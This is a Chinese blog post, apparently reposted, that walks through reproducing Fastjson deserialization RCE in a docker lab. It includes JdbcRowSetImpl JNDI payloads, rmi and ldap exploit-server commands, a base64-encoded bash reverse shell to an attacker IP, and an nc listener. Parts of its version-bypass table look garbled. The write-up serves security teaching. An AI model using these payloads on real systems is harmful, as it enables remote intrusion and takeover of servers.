文章总结: 本文详细分析Fastjson反序列化漏洞原理,指出AutoType机制在反序列化时会自动加载@type指定类,攻击者可通过恶意类路径实现远程代码执行。文章对比了1.2.24至1.2.83等版本的漏洞特性,并以1.2.45版本为例演示完整复现流程,包括环境搭建、版本探测、JNDI注入利用及高版本JDK绕过方法,提供具体Payload和命令操作指导。 综合评分: 87 文章分类: 漏洞分析,WEB安全,渗透测试,红队,安全工具
Fastjson漏洞复现上
web安全小白 web安全小白
web安全小白
2026年4月6日 14:07 贵州
基础概念
「1.什么是 JSON?」
JSON全称 JavaScript Object Notation。
是一种轻量级的数据交换格式,采用键值对方式组织数据。
本质上就是一个字符串,便于在网络间传输和存储。
「2. 什么是 Fastjson?」
由阿里巴巴开源的 Java JSON 解析库。
主要提供两大功能:
序列化:将 Java 对象转换为 JSON 字符串。
反序列化:将 JSON 字符串还原为 Java 对象。
「3. 为什么会有漏洞?」
- Fastjson 引入了 AutoType 机制,用于在序列化时通过 @type 字段记录类的完整名称。
- 反序列化时,Fastjson 会自动加载并实例化 @type 指定的类。
- 如果后端没有对
@type内容进行严格过滤或校验,攻击者可以构造恶意类路径,诱导服务器加载并执行攻击代码,最终造成远程代码执行(RCE)。
「一句话总结漏洞原理:」
Fastjson 在反序列化时会自动执行 @type 指定类中的 setter / getter 方法。攻击者可利用恶意类(如JdbcRowSetImpl)触发 JNDI 注入、字节码加载或反射命令执行,从而实现远程代码执行。
「流量特征:」
请求体中包含 @type 字段,并带有完整类路径。
请求头 Content-Type: application/json。
「各 Fastjson 版本漏洞的核心特性与利用关键点:」
| Fastjson 版本 | 漏洞核心特点 | 利用关键说明 |
| — | — | — |
| 「1.2.24 及以下」 | 默认 AutoType 开启,无强黑名单 | 原生 JdbcRowSetImpl JNDI 注入可直接利用,RCE 稳定 |
| 「1.2.42」 | 黑名单首次引入但可绕过 | 需使用 L 前缀格式绕过黑名单校验(如 Lcom.sun.rowset.JdbcRowSetImpl;) |
| 「1.2.48」 | 引入基础白名单,但仍存在绕过 | 可通过双写类名(如 com.sun.rowset.JdbcRowSetImpl → com.sun.rowset.JdbcRowSetImpl...)绕过校验 |
| 「1.2.68」 | 原生利用链大幅受限 | 依赖 Shiro 等第三方漏洞组件联动,间接实现 RCE |
| 「1.2.83+」 | 基础防护已较为完善 | 原生链基本不可用,仅限小众、特定场景或配置缺陷下可触发 |
FastJson 1.2.45
下载地址:https://github.com/lemono0/FastJsonParty
环境启动:
docker compose up -d
1245-jndi
「示例漏洞:」http://www.loveli.com.cn/see_bug_one?id=52
1.访问靶场后需要自己构造数据包进行漏洞复现
2.数据包构造为JSON格式
3.进行Fastjson版本探测
3.通过探测可知版本为1.2.45
4.进行出网测试
「预期结果」:
- 如果返回
autoType is not support:autoType 关闭,常规 JNDI 注入不可用 - 如果返回 500 或有 DNS 请求:autoType 开启,可使用 JNDI 注入
5.通过测试可知服务器是出网的
6.寻找poc进行漏洞利用
7.服务器执行
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0MS41NC82NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "192.168.241.54"
-C 需要执行的命令
-A 自己的服务器地址
8.服务器建立监听
nc -lvnp 666
9.构造payload进行攻击
{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.241.54:9527/kecntp", "autoCommit":true }}
1245-jdk8u342
「Java版本限制」
基于rmi的利用方式:适用jdk版本:JDK 6u132,JDK 7u131,JDK 8u121之前;
在jdk8u122的时候,加了反序列化白名单的机制,关闭了rmi远程加载代码;
基于ldap的利用方式,适用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前;
在Java 8u191更新中,Oracle对LDAP向量设置了相同的限制,并发布了CVE-2018-3149,关闭了JNDI远程类加载。
通过对比可知ldap的利用范围是比rmi要大的,实战情况下推荐使用ldap方法进行利用。
因为当前环境JNDI注入在JDK8u191之后受到了极大限制,所以这里需要绕过JDK高版本。
执行反弹shell命令
java -jar JNDIBypass.jar -a 192.168.241.54 -p 9527 -c "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0MS41NC82NjYgMD4mMQ==}|{base64,-d}|{bash,-i}|{base64,-d}|{bash,-i}"
服务器建立监听
nc -lvnp 666
构造payload进行攻击
{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://192.168.241.54:9527/ZQsef", "autoCommit":true }}
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:web安全小白 web安全小白 web安全小白《Fastjson漏洞复现上》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论